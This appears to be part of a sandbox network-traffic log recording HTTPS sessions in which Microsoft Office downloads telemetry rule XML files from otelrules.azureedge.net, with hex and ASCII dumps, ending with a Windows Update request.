2024-10-08 18:52:16 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.9	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:17 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:17 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:17 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 8fccee85-001e-0028-6c95-19c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185217Z-1657d5bbd48gjrh9ymem1nvr1n00000000ng00000000z65z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:17 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.9	49797	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:17 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:17 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:17 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: cb759915-201e-003f-5f03-176d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185217Z-1657d5bbd48qjg85buwfdynm5w00000005cg00000000vp0p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:17 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.9	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:17 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:17 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:17 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: b6c21a8e-c01e-008e-115a-177381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185217Z-1657d5bbd48xsz2nuzq4vfrzg8000000057000000000ntrz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:17 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.9	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:17 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:17 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:17 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 84e7aa3f-c01e-008e-74ff-167381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185217Z-1657d5bbd482lxwq1dp2t1zwkc000000057g000000000qfp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:17 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.9	49800	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:17 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:17 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:17 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 76165599-601e-000d-1a02-172618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185217Z-1657d5bbd48xdq5dkwwugdpzr000000005kg000000013s10 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:17 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.9	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:18 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:18 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:18 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: a9a45936-c01e-00a1-54f1-167e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185218Z-1657d5bbd4824mj9d6vp65b6n400000005k000000000kyyn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:18 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.9	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:18 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:18 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:18 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 29f28342-e01e-003c-5d00-17c70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185218Z-1657d5bbd48q6t9vvmrkd293mg00000005a000000000rahz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:18 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.9	49806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:18 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:18 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:18 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 6f1c5b1d-901e-0048-485a-17b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185218Z-1657d5bbd48q6t9vvmrkd293mg000000058000000000ztt3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:18 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.9	49807	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:18 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:18 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:18 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 173e0f62-801e-00a3-24fe-167cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185218Z-1657d5bbd48sdh4cyzadbb3748000000053g0000000117ze x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:18 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.9	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:18 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:18 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:18 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 6bee43b5-001e-00a2-2106-17d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185218Z-1657d5bbd48vhs7r2p1ky7cs5w00000005kg0000000116v4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:18 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.9	49804	52.149.20.212	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:18 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=UU6vZgkzccoB6vM&MD=LgcgFu8w HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-08 18:52:18 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 45440af2-1e17-4a92-9445-a0b491fb7c19 MS-RequestId: c1accdb8-3489-4ed7-814e-80c6abb92a01 MS-CV: x/ndr9RLvU2bSFn7.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 08 Oct 2024 18:52:18 GMT Connection: close Content-Length: 24490
